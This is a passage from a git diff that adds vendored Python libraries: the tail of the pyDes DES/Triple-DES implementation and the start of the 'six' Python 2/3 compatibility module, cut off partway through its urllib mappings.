4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], + + # S2 + [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], + + # S3 + [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], + + # S4 + [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], + + # S5 + [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], + + # S6 + [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], + + # S7 + [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], + + # S8 + [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], + ] + + + # 32-bit permutation function P used on the output of the S-boxes + __p = [ + 15, 6, 19, 20, 28, 11, + 27, 16, 0, 14, 22, 25, + 4, 17, 30, 9, 1, 7, + 23,13, 31, 26, 2, 8, + 18, 12, 29, 5, 21, 10, + 3, 24 + ] + + # final permutation IP^-1 + __fp = [ + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25, + 32, 0, 40, 8, 48, 16, 56, 24 + ] + + # Type of crypting being done + ENCRYPT = 0x00 + DECRYPT = 0x01 + + # Initialisation + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + # Sanity checking of arguments. + if len(key) != 8: + raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") + _baseDes.__init__(self, mode, IV, pad, padmode) + self.key_size = 8 + + self.L = [] + self.R = [] + self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) + self.final = [] + + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Must be 8 bytes.""" + _baseDes.setKey(self, key) + self.__create_sub_keys() + + def __String_to_BitList(self, data): + """Turn the string data, into a list of bits (1, 0)'s""" + if _pythonMajorVersion < 3: + # Turn the strings into integers. Python 3 uses a bytes + # class, which already has this behaviour. + data = [ord(c) for c in data] + l = len(data) * 8 + result = [0] * l + pos = 0 + for ch in data: + i = 7 + while i >= 0: + if ch & (1 << i) != 0: + result[pos] = 1 + else: + result[pos] = 0 + pos += 1 + i -= 1 + + return result + + def __BitList_to_String(self, data): + """Turn the list of bits -> data, into a string""" + result = [] + pos = 0 + c = 0 + while pos < len(data): + c += data[pos] << (7 - (pos % 8)) + if (pos % 8) == 7: + result.append(c) + c = 0 + pos += 1 + + if _pythonMajorVersion < 3: + return ''.join([ chr(c) for c in result ]) + else: + return bytes(result) + + def __permutate(self, table, block): + """Permutate this block with the specified table""" + return [block[i] for i in table] + + # Transform the secret key, so that it is ready for data processing + # Create the 16 subkeys, K[1] - K[16] + def __create_sub_keys(self): + """Create the 16 subkeys K[1] to K[16] from the given key""" + key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) + i = 0 + # Split into Left and Right sections + self.L = key[:28] + self.R = key[28:] + while i < 16: + j = 0 + # Perform circular left shifts + while j < des.__left_rotations[i]: + self.L.append(self.L[0]) + del self.L[0] + + self.R.append(self.R[0]) + del self.R[0] + + j += 1 + + # Create one of the 16 subkeys through pc2 permutation + self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) + + i += 1 + + # Main part of the encryption algorithm, the number cruncher :) + def __des_crypt(self, block, crypt_type): + """Crypt the block of data through DES bit-manipulation""" + block = self.__permutate(des.__ip, block) + self.L = block[:32] + self.R = block[32:] + + # Encryption starts from Kn[1] through to Kn[16] + if crypt_type == des.ENCRYPT: + iteration = 0 + iteration_adjustment = 1 + # Decryption starts from Kn[16] down to Kn[1] + else: + iteration = 15 + iteration_adjustment = -1 + + i = 0 + while i < 16: + # Make a copy of R[i-1], this will later become L[i] + tempR = self.R[:] + + # Permutate R[i - 1] to start creating R[i] + self.R = self.__permutate(des.__expansion_table, self.R) + + # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here + self.R = [b ^ k for b, k in zip(self.R, self.Kn[iteration])] + B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] + # Optimization: Replaced below commented code with above + #j = 0 + #B = [] + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.Kn[iteration][j] + # j += 1 + # if j % 6 == 0: + # B.append(self.R[j-6:j]) + + # Permutate B[1] to B[8] using the S-Boxes + j = 0 + Bn = [0] * 32 + pos = 0 + while j < 8: + # Work out the offsets + m = (B[j][0] << 1) + B[j][5] + n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] + + # Find the permutation value + v = des.__sbox[j][(m << 4) + n] + + # Turn value into bits, add it to result: Bn + Bn[pos] = (v & 8) >> 3 + Bn[pos + 1] = (v & 4) >> 2 + Bn[pos + 2] = (v & 2) >> 1 + Bn[pos + 3] = v & 1 + + pos += 4 + j += 1 + + # Permutate the concatination of B[1] to B[8] (Bn) + self.R = self.__permutate(des.__p, Bn) + + # Xor with L[i - 1] + self.R = [b ^ l for b, l in zip(self.R, self.L)] + # Optimization: This now replaces the below commented code + #j = 0 + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.L[j] + # j += 1 + + # L[i] becomes R[i - 1] + self.L = tempR + + i += 1 + iteration += iteration_adjustment + + # Final permutation of R[16]L[16] + self.final = self.__permutate(des.__fp, self.R + self.L) + return self.final + + + # Data to be encrypted/decrypted + def crypt(self, data, crypt_type): + """Crypt the data in blocks, running it through des_crypt()""" + + # Error check the data + if not data: + return '' + if len(data) % self.block_size != 0: + if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") + if not self.getPadding(): + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") + else: + data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() + # print "Len of data: %f" % (len(data) / self.block_size) + + if self.getMode() == CBC: + if self.getIV(): + iv = self.__String_to_BitList(self.getIV()) + else: + raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") + + # Split the data into blocks, crypting each one seperately + i = 0 + dict = {} + result = [] + #cached = 0 + #lines = 0 + while i < len(data): + # Test code for caching encryption results + #lines += 1 + #if dict.has_key(data[i:i+8]): + #print "Cached result for: %s" % data[i:i+8] + # cached += 1 + # result.append(dict[data[i:i+8]]) + # i += 8 + # continue + + block = self.__String_to_BitList(data[i:i+8]) + + # Xor with IV if using CBC mode + if self.getMode() == CBC: + if crypt_type == des.ENCRYPT: + block = [b ^ v for b, v in zip(block, iv)] + #j = 0 + #while j < len(block): + # block[j] = block[j] ^ iv[j] + # j += 1 + + processed_block = self.__des_crypt(block, crypt_type) + + if crypt_type == des.DECRYPT: + processed_block = [b ^ v for b, v in zip(processed_block, iv)] + #j = 0 + #while j < len(processed_block): + # processed_block[j] = processed_block[j] ^ iv[j] + # j += 1 + iv = block + else: + iv = processed_block + else: + processed_block = self.__des_crypt(block, crypt_type) + + + # Add the resulting crypted block to our list + #d = self.__BitList_to_String(processed_block) + #result.append(d) + result.append(self.__BitList_to_String(processed_block)) + #dict[data[i:i+8]] = d + i += 8 + + # print "Lines: %d, cached: %d" % (lines, cached) + + # Return the full crypted string + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self._padData(data, pad, padmode) + return self.crypt(data, des.ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after decrypting. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self.crypt(data, des.DECRYPT) + return self._unpadData(data, pad, padmode) + + + +############################################################################# +# Triple DES # +############################################################################# +class triple_des(_baseDes): + """Triple DES encryption/decrytpion class + + This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or + the DES-EDE2 (when a 16 byte key is supplied) encryption methods. + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key, [mode], [IV]) + + key -> Bytes containing the encryption key, must be either 16 or + 24 bytes long + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrpt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrpt operations done + with this instance. + """ + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + _baseDes.__init__(self, mode, IV, pad, padmode) + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Either 16 or 24 bytes long.""" + self.key_size = 24 # Use DES-EDE3 mode + if len(key) != self.key_size: + if len(key) == 16: # Use DES-EDE2 mode + self.key_size = 16 + else: + raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") + if self.getMode() == CBC: + if not self.getIV(): + # Use the first 8 bytes of the key + self._iv = key[:self.block_size] + if len(self.getIV()) != self.block_size: + raise ValueError("Invalid IV, must be 8 bytes in length") + self.__key1 = des(key[:8], self._mode, self._iv, + self._padding, self._padmode) + self.__key2 = des(key[8:16], self._mode, self._iv, + self._padding, self._padmode) + if self.key_size == 16: + self.__key3 = self.__key1 + else: + self.__key3 = des(key[16:], self._mode, self._iv, + self._padding, self._padmode) + _baseDes.setKey(self, key) + + # Override setter methods to work on all 3 keys. + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + _baseDes.setMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setMode(mode) + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + _baseDes.setPadding(self, pad) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadding(pad) + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + _baseDes.setPadMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadMode(mode) + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + _baseDes.setIV(self, IV) + for key in (self.__key1, self.__key2, self.__key3): + key.setIV(IV) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + # Pad the data accordingly. + data = self._padData(data, pad, padmode) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + block = self.__key1.crypt(data[i:i+8], ENCRYPT) + block = self.__key2.crypt(block, DECRYPT) + block = self.__key3.crypt(block, ENCRYPT) + self.__key1.setIV(block) + self.__key2.setIV(block) + self.__key3.setIV(block) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + else: + data = self.__key1.crypt(data, ENCRYPT) + data = self.__key2.crypt(data, DECRYPT) + return self.__key3.crypt(data, ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after + decrypting, no pad character is required for PAD_PKCS5. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + iv = data[i:i+8] + block = self.__key3.crypt(iv, DECRYPT) + block = self.__key2.crypt(block, ENCRYPT) + block = self.__key1.crypt(block, DECRYPT) + self.__key1.setIV(iv) + self.__key2.setIV(iv) + self.__key3.setIV(iv) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + data = ''.join(result) + else: + data = bytes.fromhex('').join(result) + else: + data = self.__key3.crypt(data, DECRYPT) + data = self.__key2.crypt(data, ENCRYPT) + data = self.__key1.crypt(data, DECRYPT) + return self._unpadData(data, pad, padmode) diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py new file mode 100644 index 00000000000..3de5969b1ad --- /dev/null +++ b/thirdparty/six/__init__.py @@ -0,0 +1,1003 @@ +# Copyright (c) 2010-2024 Benjamin Peterson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +"""Utilities for writing code that runs on Python 2 and 3""" + +from __future__ import absolute_import + +import functools +import itertools +import operator +import sys +import types + +__author__ = "Benjamin Peterson " +__version__ = "1.17.0" + + +# Useful for very coarse version differentiation. +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 +PY34 = sys.version_info[0:2] >= (3, 4) + +if PY3: + string_types = str, + integer_types = int, + class_types = type, + text_type = str + binary_type = bytes + + MAXSIZE = sys.maxsize +else: + string_types = basestring, + integer_types = (int, long) + class_types = (type, types.ClassType) + text_type = unicode + binary_type = str + + if sys.platform.startswith("java"): + # Jython always uses 32 bits. + MAXSIZE = int((1 << 31) - 1) + else: + # It's possible to have sizeof(long) != sizeof(Py_ssize_t). + class X(object): + + def __len__(self): + return 1 << 31 + try: + len(X()) + except OverflowError: + # 32-bit + MAXSIZE = int((1 << 31) - 1) + else: + # 64-bit + MAXSIZE = int((1 << 63) - 1) + del X + +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + + +def _add_doc(func, doc): + """Add documentation to a function.""" + func.__doc__ = doc + + +def _import_module(name): + """Import module, returning the module after the last dot.""" + __import__(name) + return sys.modules[name] + + +class _LazyDescr(object): + + def __init__(self, name): + self.name = name + + def __get__(self, obj, tp): + result = self._resolve() + setattr(obj, self.name, result) # Invokes __set__. + try: + # This is a bit ugly, but it avoids running this again by + # removing this descriptor. + delattr(obj.__class__, self.name) + except AttributeError: + pass + return result + + +class MovedModule(_LazyDescr): + + def __init__(self, name, old, new=None): + super(MovedModule, self).__init__(name) + if PY3: + if new is None: + new = name + self.mod = new + else: + self.mod = old + + def _resolve(self): + return _import_module(self.mod) + + def __getattr__(self, attr): + _module = self._resolve() + value = getattr(_module, attr) + setattr(self, attr, value) + return value + + +class _LazyModule(types.ModuleType): + + def __init__(self, name): + super(_LazyModule, self).__init__(name) + self.__doc__ = self.__class__.__doc__ + + def __dir__(self): + attrs = ["__doc__", "__name__"] + attrs += [attr.name for attr in self._moved_attributes] + return attrs + + # Subclasses should override this + _moved_attributes = [] + + +class MovedAttribute(_LazyDescr): + + def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): + super(MovedAttribute, self).__init__(name) + if PY3: + if new_mod is None: + new_mod = name + self.mod = new_mod + if new_attr is None: + if old_attr is None: + new_attr = name + else: + new_attr = old_attr + self.attr = new_attr + else: + self.mod = old_mod + if old_attr is None: + old_attr = name + self.attr = old_attr + + def _resolve(self): + module = _import_module(self.mod) + return getattr(module, self.attr) + + +class _SixMetaPathImporter(object): + + """ + A meta path importer to import six.moves and its submodules. + + This class implements a PEP302 finder and loader. It should be compatible + with Python 2.5 and all existing versions of Python3 + """ + + def __init__(self, six_module_name): + self.name = six_module_name + self.known_modules = {} + + def _add_module(self, mod, *fullnames): + for fullname in fullnames: + self.known_modules[self.name + "." + fullname] = mod + + def _get_module(self, fullname): + return self.known_modules[self.name + "." + fullname] + + def find_module(self, fullname, path=None): + if fullname in self.known_modules: + return self + return None + + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + + def __get_module(self, fullname): + try: + return self.known_modules[fullname] + except KeyError: + raise ImportError("This loader does not know module " + fullname) + + def load_module(self, fullname): + try: + # in case of a reload + return sys.modules[fullname] + except KeyError: + pass + mod = self.__get_module(fullname) + if isinstance(mod, MovedModule): + mod = mod._resolve() + else: + mod.__loader__ = self + sys.modules[fullname] = mod + return mod + + def is_package(self, fullname): + """ + Return true, if the named module is a package. + + We need this method to get correct spec objects with + Python 3.4 (see PEP451) + """ + return hasattr(self.__get_module(fullname), "__path__") + + def get_code(self, fullname): + """Return None + + Required, if is_package is implemented""" + self.__get_module(fullname) # eventually raises ImportError + return None + get_source = get_code # same as get_code + + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + +_importer = _SixMetaPathImporter(__name__) + + +class _MovedItems(_LazyModule): + + """Lazy loading of moved objects""" + __path__ = [] # mark as package + + +_moved_attributes = [ + MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), + MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), + MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), + MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), + MovedAttribute("intern", "__builtin__", "sys"), + MovedAttribute("map", "itertools", "builtins", "imap", "map"), + MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), + MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), + MovedAttribute("getoutput", "commands", "subprocess"), + MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), + MovedAttribute("reduce", "__builtin__", "functools"), + MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), + MovedAttribute("StringIO", "StringIO", "io"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), + MovedAttribute("UserList", "UserList", "collections"), + MovedAttribute("UserString", "UserString", "collections"), + MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), + MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), + MovedModule("builtins", "__builtin__"), + MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), + MovedModule("copyreg", "copy_reg"), + MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), + MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), + MovedModule("http_cookies", "Cookie", "http.cookies"), + MovedModule("html_entities", "htmlentitydefs", "html.entities"), + MovedModule("html_parser", "HTMLParser", "html.parser"), + MovedModule("http_client", "httplib", "http.client"), + MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), + MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), + MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), + MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), + MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), + MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), + MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), + MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), + MovedModule("cPickle", "cPickle", "pickle"), + MovedModule("queue", "Queue"), + MovedModule("reprlib", "repr"), + MovedModule("socketserver", "SocketServer"), + MovedModule("_thread", "thread", "_thread"), + MovedModule("tkinter", "Tkinter"), + MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), + MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), + MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), + MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), + MovedModule("tkinter_tix", "Tix", "tkinter.tix"), + MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), + MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), + MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), + MovedModule("tkinter_colorchooser", "tkColorChooser", + "tkinter.colorchooser"), + MovedModule("tkinter_commondialog", "tkCommonDialog", + "tkinter.commondialog"), + MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), + MovedModule("tkinter_font", "tkFont", "tkinter.font"), + MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), + MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", + "tkinter.simpledialog"), + MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), + MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), + MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), + MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), + MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), + MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), +] +# Add windows specific modules. +if sys.platform == "win32": + _moved_attributes += [ + MovedModule("winreg", "_winreg"), + ] + +for attr in _moved_attributes: + setattr(_MovedItems, attr.name, attr) + if isinstance(attr, MovedModule): + _importer._add_module(attr, "moves." + attr.name) +del attr + +_MovedItems._moved_attributes = _moved_attributes + +moves = _MovedItems(__name__ + ".moves") +_importer._add_module(moves, "moves") + + +class Module_six_moves_urllib_parse(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_parse""" + + +_urllib_parse_moved_attributes = [ + MovedAttribute("ParseResult", "urlparse", "urllib.parse"), + MovedAttribute("SplitResult", "urlparse", "urllib.parse"), + MovedAttribute("parse_qs", "urlparse", "urllib.parse"), + MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), + MovedAttribute("urldefrag", "urlparse", "urllib.parse"), + MovedAttribute("urljoin", "urlparse", "urllib.parse"), + MovedAttribute("urlparse", "urlparse", "urllib.parse"), + MovedAttribute("urlsplit", "urlparse", "urllib.parse"), + MovedAttribute("urlunparse", "urlparse", "urllib.parse"), + MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), + MovedAttribute("quote", "urllib", "urllib.parse"), + MovedAttribute("quote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote", "urllib", "urllib.parse"), + MovedAttribute("unquote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), + MovedAttribute("urlencode", "urllib", "urllib.parse"), + MovedAttribute("splitquery", "urllib", "urllib.parse"), + MovedAttribute("splittag", "urllib", "urllib.parse"), + MovedAttribute("splituser", "urllib", "urllib.parse"), + MovedAttribute("splitvalue", "urllib", "urllib.parse"), + MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), + MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), + MovedAttribute("uses_params", "urlparse", "urllib.parse"), + MovedAttribute("uses_query", "urlparse", "urllib.parse"), + MovedAttribute("uses_relative", "urlparse", "urllib.parse"), +] +for attr in _urllib_parse_moved_attributes: + setattr(Module_six_moves_urllib_parse, attr.name, attr) +del attr + +Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes + +_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), + "moves.urllib_parse", "moves.urllib.parse") + + +class Module_six_moves_urllib_error(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_error""" + + +_urllib_error_moved_attributes = [ + MovedAttribute("URLError", "urllib2", "urllib.error"), + MovedAttribute("HTTPError", "urllib2", "urllib.error"), + MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), +] +for attr in _urllib_error_moved_attributes: + setattr(Module_six_moves_urllib_error, attr.name, attr) +del attr + +Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes + +_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), + "moves.urllib_error", "moves.urllib.error") + + +class Module_six_moves_urllib_request(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_request""" + + +_urllib_request_moved_attributes = [ + MovedAttribute("urlopen", "urllib2", "urllib.request"), + MovedAttribute("install_opener", "urllib2", "urllib.request"), + MovedAttribute("build_opener", "urllib2", "urllib.request"), + MovedAttribute("pathname2url", "urllib", "urllib.request"), + MovedAttribute("url2pathname", "urllib", "urllib.request"), + MovedAttribute("getproxies", "urllib", "urllib.request"), + MovedAttribute("Request", "urllib2", "urllib.request"), + MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), + MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), + MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), + 